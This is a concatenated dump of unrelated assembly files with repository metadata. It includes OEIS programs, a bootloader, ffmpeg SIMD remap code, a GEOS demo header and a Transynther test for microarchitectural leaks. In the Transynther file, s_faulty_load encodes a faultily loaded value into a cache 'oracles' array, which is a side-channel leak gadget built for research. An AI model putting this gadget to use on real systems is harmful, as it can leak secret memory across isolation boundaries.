72 08 08 08 08 72 08 08 08 08 08 08 08 08 72 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 72 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 72 08 72 72 72 08 72 72 72 08 72 08 72 08 72 72 72 72 72 72 72 08 08 72 72 72 72 72 72 72 72 72 72 72 72 08 72 72 72 72 72 72 08 72 72 72 72 72 72 08 72 72 72 72 72 72 72 72 72 72 72 72 08 72 72 72 72 72 72 72 72 72 72 72 72 08 72 72 72 08 72 72 72 72 72 72 72 72 72 72 72 72 72 72 08 08 72 72 72 72 72 72 72 72 08 72 72 72 72 08 72 72 72 72 08 72 72 72 72 72 72 72 72 72 72 08 72 08
*/
| 41.984496
| 2,999
| 0.657312
|
fe545cd7d1be2e02084a919cfa3b8e6dac5d816b
| 561
|
asm
|
Assembly
|
oeis/017/A017604.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/017/A017604.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/017/A017604.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A017604: a(n) = (12n+6)^12.
; 2176782336,1156831381426176,531441000000000000,30129469486639681536,614787626176508399616,6831675453247426400256,50714860157241037295616,282429536481000000000000,1268241794562545318301696,4817904819828488880132096,16012035393449278995173376,47703367363695867545849856,129746337890625000000000000,326723350842869800400326656,770177770297334467043659776,1714570434475502278801821696,3630632434549265533578448896,7355827511386641000000000000,14329653645048357641297596416,26951955996824334101419462656
mul $0,12
add $0,6
pow $0,12
| 80.142857
| 500
| 0.910873
|
97dbea22064f2217c306beefa5b0207163496c5b
| 448
|
asm
|
Assembly
|
tests/test build script and options/nonCodeOptions/stdinWithAsm.asm
|
fengjixuchui/sjasmplus
|
df0fabd2411bf89e23637fce46d273f52dafbe16
|
[
"BSD-3-Clause"
] | 220
|
2016-10-22T19:44:39.000Z
|
2022-03-29T20:57:04.000Z
|
tests/test build script and options/nonCodeOptions/stdinWithAsm.asm
|
ped7g/sjasmplus
|
487635c8057cd5594c372d9b70bc00a3f3a1ecc4
|
[
"BSD-3-Clause"
] | 153
|
2018-05-07T10:31:23.000Z
|
2022-03-30T04:35:59.000Z
|
tests/test build script and options/nonCodeOptions/stdinWithAsm.asm
|
ped7g/sjasmplus
|
487635c8057cd5594c372d9b70bc00a3f3a1ecc4
|
[
"BSD-3-Clause"
] | 51
|
2016-05-12T21:27:36.000Z
|
2022-03-27T15:16:16.000Z
|
; this source will be assembled twice, once coming from STDIN, second time as regular file
; and each time it will also include itself as include file (so 6x times assembled)
IFNDEF __ALREADY_INITIALIZED__
DEFINE __ALREADY_INITIALIZED__
OUTPUT "stdinWithAsm.bin"
x = 0
ENDIF
IFNDEF __INCLUDED__
DEFINE __INCLUDED__
INCLUDE "stdinWithAsm.asm"
UNDEFINE __INCLUDED__
ENDIF
x = x+1
DB x
| 23.578947
| 90
| 0.696429
|
65a52d83a74d14820e6eba44c93a8e79571ec6d4
| 495
|
asm
|
Assembly
|
programs/oeis/076/A076480.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/076/A076480.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/076/A076480.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A076480: n + mu(rad(n)), where mu is the Moebius-function (A008683) and rad is the squarefree kernel (A007947).
; 2,1,2,3,4,7,6,7,8,11,10,13,12,15,16,15,16,19,18,21,22,23,22,25,24,27,26,29,28,29,30,31,34,35,36,37,36,39,40,41,40,41,42,45,46,47,46,49,48,51,52,53,52,55,56,57,58,59,58,59,60,63,64,63,66,65,66,69,70,69,70,73
mov $2,$0
cal $0,76479 ; a(n) = mu(rad(n)), where mu is the Moebius-function (A008683) and rad is the radical or squarefree kernel (A007947).
add $0,1
add $0,$2
mov $1,$0
| 55
| 208
| 0.668687
|
9886b2fd7842915fc09f9d58c7051c768b84e196
| 785
|
asm
|
Assembly
|
c_projects/project1/ch4/boot_sector_11.asm
|
darbinreyes/subparprogrammer
|
e3588adc494a69a564fe0a9859ff296fc710eab0
|
[
"MIT"
] | null | null | null |
c_projects/project1/ch4/boot_sector_11.asm
|
darbinreyes/subparprogrammer
|
e3588adc494a69a564fe0a9859ff296fc710eab0
|
[
"MIT"
] | 1
|
2021-05-11T22:20:01.000Z
|
2021-05-11T22:20:01.000Z
|
c_projects/project1/ch4/boot_sector_11.asm
|
darbinreyes/subparprogrammer
|
e3588adc494a69a564fe0a9859ff296fc710eab0
|
[
"MIT"
] | null | null | null |
; A boot sector program that switches from 16 bit real mode to 32 bit
; protected mode.
[org 0x7c00]
mov bp, 0x9000 ; Init. the stack.
mov sp, bp
mov bx, MSG_REAL_MODE
call print_string
call switch_to_pm ; It all goes well, this doesn't return.
jmp $ ; Infinite loop.
%include "ch1-ch3/print_string.asm"
%include "gdt.asm"
%include "print_string_pm.asm"
%include "switch_to_pm.asm"
[bits 32]
; This is were we land after switching to 32 bit protected mode.
BEGIN_PM:
mov ebx, MSG_PROT_MODE
call print_string_pm ; Our 32 bit print routine.
jmp $ ; Infinite loop.
; Global variables
MSG_REAL_MODE db "Started in 16 bit Real Mode", 0
MSG_PROT_MODE db "Successfully landed in 32 bit Protected Mode", 0
; Boot sector 0 padding and magic number.
times 510-($-$$) db 0
dw 0xaa55
| 20.128205
| 69
| 0.742675
|
ef2dc98d130fefd7113e0b11874c31e4d03b9fa3
| 276
|
asm
|
Assembly
|
programs/oeis/051/A051052.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/051/A051052.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/051/A051052.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A051052: a(n) = binomial(n, floor(n/5)).
; 1,1,1,1,1,5,6,7,8,9,45,55,66,78,91,455,560,680,816,969,4845,5985,7315,8855,10626,53130,65780,80730,98280,118755,593775,736281,906192,1107568,1344904,6724520,8347680,10295472,12620256,15380937,76904685
mov $1,$0
div $1,5
bin $0,$1
| 39.428571
| 202
| 0.724638
|
8e7e4591b475b22ab3c8f9f7d27202aa0ef47213
| 7,321
|
asm
|
Assembly
|
thirdparty/ffmpeg/libavfilter/x86/vf_v360.asm
|
yashrajsingh1998/ApraPipes1
|
ec93095613f4345d6044c7012f2d8c3b99f65f03
|
[
"MIT"
] | 30
|
2022-03-10T16:34:13.000Z
|
2022-03-29T09:32:35.000Z
|
thirdparty/ffmpeg/libavfilter/x86/vf_v360.asm
|
yashrajsingh1998/ApraPipes1
|
ec93095613f4345d6044c7012f2d8c3b99f65f03
|
[
"MIT"
] | 2
|
2022-03-30T14:52:15.000Z
|
2022-03-31T11:30:20.000Z
|
thirdparty/ffmpeg/libavfilter/x86/vf_v360.asm
|
yashrajsingh1998/ApraPipes1
|
ec93095613f4345d6044c7012f2d8c3b99f65f03
|
[
"MIT"
] | 6
|
2021-09-24T04:58:43.000Z
|
2022-03-10T10:02:27.000Z
|
;*****************************************************************************
;* x86-optimized functions for v360 filter
;*
;* This file is part of FFmpeg.
;*
;* FFmpeg is free software; you can redistribute it and/or
;* modify it under the terms of the GNU Lesser General Public
;* License as published by the Free Software Foundation; either
;* version 2.1 of the License, or (at your option) any later version.
;*
;* FFmpeg is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
;* Lesser General Public License for more details.
;*
;* You should have received a copy of the GNU Lesser General Public
;* License along with FFmpeg; if not, write to the Free Software
;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;******************************************************************************
%include "libavutil/x86/x86util.asm"
%if HAVE_AVX2_EXTERNAL
SECTION_RODATA
pb_mask: db 0,4,8,12,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1
pw_mask: db 0,1,4, 5, 8, 9,12,13,-1,-1,-1,-1,-1,-1,-1,-1
pd_255: times 4 dd 255
pd_65535: times 4 dd 65535
SECTION .text
; void ff_remap2_8bit_line_avx2(uint8_t *dst, int width, const uint8_t *src, ptrdiff_t in_linesize,
; const uint16_t *u, const uint16_t *v, const int16_t *ker);
INIT_YMM avx2
cglobal remap1_8bit_line, 6, 7, 6, dst, width, src, in_linesize, u, v, x
movsxdifnidn widthq, widthd
xor xq, xq
movd xm0, in_linesized
pcmpeqw m4, m4
VBROADCASTI128 m3, [pb_mask]
vpbroadcastd m0, xm0
.loop:
pmovsxwd m1, [vq + xq * 2]
pmovsxwd m2, [uq + xq * 2]
pmulld m1, m0
paddd m1, m2
mova m2, m4
vpgatherdd m5, [srcq + m1], m2
pshufb m1, m5, m3
vextracti128 xm2, m1, 1
movd [dstq+xq], xm1
movd [dstq+xq+4], xm2
add xq, mmsize / 4
cmp xq, widthq
jl .loop
RET
INIT_YMM avx2
cglobal remap1_16bit_line, 6, 7, 6, dst, width, src, in_linesize, u, v, x
movsxdifnidn widthq, widthd
xor xq, xq
movd xm0, in_linesized
pcmpeqw m4, m4
VBROADCASTI128 m3, [pw_mask]
vpbroadcastd m0, xm0
.loop:
pmovsxwd m1, [vq + xq * 2]
pmovsxwd m2, [uq + xq * 2]
pslld m2, 0x1
pmulld m1, m0
paddd m1, m2
mova m2, m4
vpgatherdd m5, [srcq + m1], m2
pshufb m1, m5, m3
vextracti128 xm2, m1, 1
movq [dstq+xq*2], xm1
movq [dstq+xq*2+8], xm2
add xq, mmsize / 4
cmp xq, widthq
jl .loop
RET
INIT_YMM avx2
cglobal remap2_8bit_line, 7, 8, 8, dst, width, src, in_linesize, u, v, ker, x
movsxdifnidn widthq, widthd
movd xm0, in_linesized
%if ARCH_X86_32
DEFINE_ARGS dst, width, src, x, u, v, ker
%endif
xor xq, xq
pcmpeqw m7, m7
vpbroadcastd m0, xm0
vpbroadcastd m6, [pd_255]
.loop:
pmovsxwd m1, [kerq + xq * 8]
pmovsxwd m2, [vq + xq * 8]
pmovsxwd m3, [uq + xq * 8]
pmulld m4, m2, m0
paddd m4, m3
mova m3, m7
vpgatherdd m2, [srcq + m4], m3
pand m2, m6
pmulld m2, m1
phaddd m2, m2
phaddd m1, m2, m2
psrld m1, m1, 0xe
vextracti128 xm2, m1, 1
pextrb [dstq+xq], xm1, 0
pextrb [dstq+xq+1], xm2, 0
add xq, mmsize / 16
cmp xq, widthq
jl .loop
RET
INIT_YMM avx2
cglobal remap2_16bit_line, 7, 8, 8, dst, width, src, in_linesize, u, v, ker, x
movsxdifnidn widthq, widthd
movd xm0, in_linesized
%if ARCH_X86_32
DEFINE_ARGS dst, width, src, x, u, v, ker
%endif
xor xq, xq
pcmpeqw m7, m7
vpbroadcastd m0, xm0
vpbroadcastd m6, [pd_65535]
.loop:
pmovsxwd m1, [kerq + xq * 8]
pmovsxwd m2, [vq + xq * 8]
pmovsxwd m3, [uq + xq * 8]
pslld m3, 0x1
pmulld m4, m2, m0
paddd m4, m3
mova m3, m7
vpgatherdd m2, [srcq + m4], m3
pand m2, m6
pmulld m2, m1
phaddd m2, m2
phaddd m1, m2, m2
psrld m1, m1, 0xe
vextracti128 xm2, m1, 1
pextrw [dstq+xq*2], xm1, 0
pextrw [dstq+xq*2+2], xm2, 0
add xq, mmsize / 16
cmp xq, widthq
jl .loop
RET
%if ARCH_X86_64
INIT_YMM avx2
cglobal remap3_8bit_line, 7, 11, 8, dst, width, src, in_linesize, u, v, ker, x, y, tmp, z
movsxdifnidn widthq, widthd
xor zq, zq
xor yq, yq
xor xq, xq
movd xm0, in_linesized
pcmpeqw m7, m7
vpbroadcastd m0, xm0
vpbroadcastd m6, [pd_255]
.loop:
pmovsxwd m1, [kerq + yq]
pmovsxwd m2, [vq + yq]
pmovsxwd m3, [uq + yq]
pmulld m4, m2, m0
paddd m4, m3
mova m3, m7
vpgatherdd m2, [srcq + m4], m3
pand m2, m6
pmulld m2, m1
HADDD m2, m1
movzx tmpq, word [vq + yq + 16]
imul tmpq, in_linesizeq
movzx zq, word [uq + yq + 16]
add tmpq, zq
movzx zq, byte [srcq + tmpq]
movzx tmpq, word [kerq + yq + 16]
imul zd, tmpd
movd xm1, zd
paddd m2, m1
psrld m2, m2, 0xe
packuswb m2, m2
pextrb [dstq+xq], xm2, 0
add xq, 1
add yq, 18
cmp xq, widthq
jl .loop
RET
INIT_YMM avx2
cglobal remap4_8bit_line, 7, 9, 11, dst, width, src, in_linesize, u, v, ker, x, y
movsxdifnidn widthq, widthd
xor yq, yq
xor xq, xq
movd xm0, in_linesized
pcmpeqw m7, m7
vpbroadcastd m0, xm0
vpbroadcastd m6, [pd_255]
.loop:
pmovsxwd m1, [kerq + yq]
pmovsxwd m5, [kerq + yq + 16]
pmovsxwd m2, [vq + yq]
pmovsxwd m8, [vq + yq + 16]
pmovsxwd m3, [uq + yq]
pmovsxwd m9, [uq + yq + 16]
pmulld m4, m2, m0
pmulld m10, m8, m0
paddd m4, m3
paddd m10, m9
mova m3, m7
vpgatherdd m2, [srcq + m4], m3
mova m3, m7
vpgatherdd m4, [srcq + m10], m3
pand m2, m6
pand m4, m6
pmulld m2, m1
pmulld m4, m5
paddd m2, m4
HADDD m2, m1
psrld m2, m2, 0xe
packuswb m2, m2
pextrb [dstq+xq], xm2, 0
add xq, 1
add yq, 32
cmp xq, widthq
jl .loop
RET
%endif
%endif
| 28.486381
| 99
| 0.480262
|
568d51b6bc274ccc4cab7bedc738a20b4d463374
| 149
|
asm
|
Assembly
|
other.7z/SFC.7z/SFC/ソースデータ/MarioKart/kart-init-e.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/SFC.7z/SFC/ソースデータ/MarioKart/kart-init-e.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/SFC.7z/SFC/ソースデータ/MarioKart/kart-init-e.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
Name: kart-init-e.asm
Type: file
Size: 60322
Last-Modified: '1992-08-30T15:00:00Z'
SHA-1: 40B061155B8DCA0F170F83EEE11E3B9C30D9FE6F
Description: null
| 21.285714
| 47
| 0.805369
|
4f4cbaf443de808b634d6c2a9deef2ba220b86d9
| 7,289
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i9-9900K_12_0xa0.log_21829_1631.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i9-9900K_12_0xa0.log_21829_1631.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i9-9900K_12_0xa0.log_21829_1631.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0xecd1, %rax
sub $1708, %r9
vmovups (%rax), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %rdx
nop
nop
nop
add %r10, %r10
lea addresses_A_ht+0x1ee21, %r12
clflush (%r12)
nop
dec %rdi
movw $0x6162, (%r12)
nop
nop
nop
nop
sub %r9, %r9
lea addresses_WC_ht+0x5a11, %rsi
lea addresses_A_ht+0x78b1, %rdi
nop
nop
nop
nop
add $53466, %r10
mov $78, %rcx
rep movsl
nop
nop
xor $51249, %r9
lea addresses_WT_ht+0x144b1, %r13
nop
nop
nop
nop
cmp %r10, %r10
mov (%r13), %r12w
nop
nop
nop
cmp $51024, %rdx
lea addresses_D_ht+0xf739, %r9
nop
nop
and %rcx, %rcx
vmovups (%r9), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %r12
nop
nop
nop
nop
dec %rcx
lea addresses_WT_ht+0x15c11, %r10
sub $62300, %rdi
mov (%r10), %r9w
nop
nop
nop
and %r13, %r13
lea addresses_A_ht+0x2e51, %rsi
nop
inc %rdx
movb (%rsi), %cl
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_WC_ht+0x18a51, %rsi
lea addresses_A_ht+0x1251, %rdi
nop
nop
inc %rdx
mov $65, %rcx
rep movsw
nop
nop
nop
add %rsi, %rsi
lea addresses_A_ht+0x80b1, %r12
nop
nop
nop
nop
nop
inc %r13
movl $0x61626364, (%r12)
nop
nop
nop
nop
nop
and $44621, %rsi
lea addresses_normal_ht+0xd59, %rsi
lea addresses_D_ht+0x31ea, %rdi
nop
nop
nop
nop
nop
cmp $40226, %r10
mov $0, %rcx
rep movsq
nop
sub %r9, %r9
lea addresses_D_ht+0xd1d, %rax
add %rdi, %rdi
mov $0x6162636465666768, %r9
movq %r9, %xmm4
and $0xffffffffffffffc0, %rax
vmovntdq %ymm4, (%rax)
nop
nop
dec %rax
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r13
push %r8
push %rdi
push %rsi
// Load
lea addresses_RW+0xbc65, %r13
nop
nop
and %r11, %r11
mov (%r13), %esi
and $40308, %r11
// Store
lea addresses_D+0x791f, %r8
sub %rdi, %rdi
movb $0x51, (%r8)
nop
nop
nop
nop
nop
xor %r13, %r13
// Faulty Load
lea addresses_RW+0x104b1, %r13
clflush (%r13)
nop
sub $46443, %r12
movntdqa (%r13), %xmm0
vpextrq $1, %xmm0, %r8
lea oracles, %r10
and $0xff, %r8
shlq $12, %r8
mov (%r10,%r8,1), %r8
pop %rsi
pop %rdi
pop %r8
pop %r13
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_RW', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_RW', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_D', 'AVXalign': False, 'size': 1}}
[Faulty Load]
{'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_RW', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2}}
{'src': {'same': True, 'congruent': 5, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}}
{'src': {'NT': True, 'same': False, 'congruent': 10, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WT_ht', 'AVXalign': True, 'size': 2}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 10, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}}
{'src': {'same': False, 'congruent': 3, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 0, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32}}
{'48': 16322, '00': 5417, '46': 83, '47': 1, 'b8': 1, '04': 2, 'ff': 3}
48 48 48 00 00 48 00 00 48 48 00 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 00 48 48 48 00 48 00 48 00 48 48 48 00 48 48 48 00 48 48 48 48 00 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 00 48 48 48 48 48 48 48 48 00 48 48 48 00 48 48 48 48 48 48 48 48 48 00 48 00 48 48 00 00 48 48 48 00 00 00 48 48 48 00 00 48 48 00 48 48 00 48 00 48 00 48 48 48 00 48 48 48 00 00 00 48 48 00 48 48 48 48 00 48 48 48 00 00 48 48 48 00 00 00 48 00 48 00 48 00 48 00 00 00 48 00 48 00 48 00 00 48 48 00 48 48 00 48 48 48 00 00 00 00 48 48 48 00 48 00 00 48 00 48 48 00 00 00 00 48 00 00 48 48 00 00 48 00 00 48 48 48 48 00 48 48 00 48 48 00 48 00 00 48 48 48 00 48 00 00 00 48 48 48 48 00 48 48 00 48 00 48 00 48 00 00 48 48 00 48 00 00 48 00 00 00 00 00 48 00 48 48 48 48 48 00 48 48 00 48 48 48 48 48 00 00 00 00 48 00 48 00 48 48 00 00 48 48 00 48 48 48 00 00 48 48 48 00 00 00 00 48 48 48 00 48 48 00 48 00 00 48 00 00 00 00 00 00 00 48 00 00 00 48 48 48 48 48 48 48 00 00 48 48 00 48 48 48 48 48 48 48 48 48 00 48 00 48 48 48 48 48 48 00 48 00 00 48 48 48 00 48 00 00 48 48 48 00 48 00 00 00 48 00 00 48 48 48 48 48 00 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 46 48 48 00 48 48 00 48 48 48 48 48 48 48 48 00 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 00 00 48 48 48 48 48 48 48 48 46 48 00 00 00 48 48 48 48 00 48 00 48 48 48 48 48 48 48 48 48 48 00 48 48 48 00 48 48 48 00 48 48 48 00 48 48 48 48 48 48 00 48 48 48 48 48 48 00 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 00 48 00 48 48 48 00 48 48 48 48 48 48 48 48 48 48 00 46 00 48 48 00 00 48 48 48 48 00 48 48 48 00 48 48 48 00 00 48 48 48 48 48 48 00 00 48 48 48 48 00 00 48 48 00 48 48 48 00 00 48 48 00 48 00 00 48 48 48 00 48 48 00 00 48 48 48 00 00 00 48 48 00 48 00 48 48 48 00 48 48 00 00 48 00 00 48 00 00 48 48 48 48 00 00 48 48 48 48 48 48 00 48 00 48 48 00 48 00 00 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 46 48 48 48 48 00 48 48 48 48 48 48 00 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 00 48 48 48 48 48 48 00 48 48 48 00 46 48 00 00 48 48 48 48 48 48 46 48 48 48 48 48 48 48 48 00 48 00 48 48 48 48 48 48 00 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 00 48 48 48 48 48 00 48 48 48 00 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 00 48 48 48 00 48 48 48 48 48 48 48 48 48 48 00 00 00 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 00 48 48 48 00 48 00 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 46 00 00 48 48 00 00 48 48 48 48 00 48 48 48 48 00 48 00 48 48 48 00 48 48 48 00 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 00 48 48 48 00 48 48 00 48 48 48 00 48 48 00 48 48 48 00 48 00 00 48 48 48 48 00 00 48 48 48 48 48 00 00 48 00 48 00 48 00 48 00 00 48 48 48
*/
| 34.545024
| 2,999
| 0.652078
|
632d243086564af30a9c7fdd4ad5812ef9c431f0
| 1,128
|
asm
|
Assembly
|
src/hw.asm
|
akumanatt/2600-wordle
|
5f8d0f76a2db2c06ee59a42106ea3593e735641f
|
[
"MIT"
] | 1
|
2022-03-13T22:13:41.000Z
|
2022-03-13T22:13:41.000Z
|
src/hw.asm
|
akumanatt/2600-wordle
|
5f8d0f76a2db2c06ee59a42106ea3593e735641f
|
[
"MIT"
] | null | null | null |
src/hw.asm
|
akumanatt/2600-wordle
|
5f8d0f76a2db2c06ee59a42106ea3593e735641f
|
[
"MIT"
] | null | null | null |
; a2600 hardware registers
; TIA
; write
VSYNC = $00
VBLANK = $01
WSYNC = $02
RSYNC = $03
NUSIZ0 = $04
NUSIZ1 = $05
COLUP0 = $06
COLUP1 = $07
COLUPF = $08
COLUBK = $09
CTRLPF = $0a
REFP0 = $0b
REFP1 = $0c
PF0 = $0d
PF1 = $0e
PF2 = $0f
RESP0 = $10
RESP1 = $11
RESM0 = $12
RESM1 = $13
RESBL = $14
AUDC0 = $15
AUDC1 = $16
AUDF0 = $17
AUDF1 = $18
AUDV0 = $19
AUDV1 = $1a
GRP0 = $1b
GRP1 = $1c
ENAM0 = $1d
ENAM1 = $1e
ENABL = $1f
HMP0 = $20
HMP1 = $21
HMM0 = $22
HMM1 = $23
HMBL = $24
VDELP0 = $25
VDELP1 = $26
VDELBL = $27
RESMP0 = $28
RESMP1 = $29
HMOVE = $2a
HMCLR = $2b
CXCLR = $2c
; read
CXM0P = $30
CXM1P = $31
CXP0FB = $32
CXP1FB = $33
CXM0FB = $34
CXM1FB = $35
CXBLPF = $36
CXPPMM = $37
INPT0 = $38
INPT1 = $39
INPT2 = $3a
INPT3 = $3b
INPT4 = $3c
INPT5 = $3d
; RIOT
SWCHA = $0280
SWACNT = $0281
SWCHB = $0282
SWBCNT = $0283
INTIM = $0284
INSTAT = $0285
TIM1T = $0294
TIM8T = $0295
TIM64T = $0296
T1024T = $0297
; 16k bank switches
BANK0 = $fff6
BANK1 = $fff7
BANK2 = $fff8
BANK3 = $fff9
| 13.590361
| 26
| 0.534574
|
7977ab2ad41f1a678ba893f7ab6ea75d431aeea9
| 21,808
|
asm
|
Assembly
|
Appl/Bounce/bounce.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Appl/Bounce/bounce.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Appl/Bounce/bounce.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1990 -- All Rights Reserved
PROJECT: PC/GEOS
MODULE: Bounce (Bouncing balls demo)
FILE: bounce.asm
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam 1990 Initial version
Eric 5/91 doc update, cleanup
Don 6/91 Updated to 2.0, added regions
DESCRIPTION:
This file source code for the Bounce application. This code will
be assembled by ESP, and then linked by the GLUE linker to produce
a runnable .geo application file.
RCS STAMP:
$Id: bounce.asm,v 1.1 97/04/04 14:41:00 newdeal Exp $
------------------------------------------------------------------------------@
;------------------------------------------------------------------------------
; Common GEODE stuff
;------------------------------------------------------------------------------
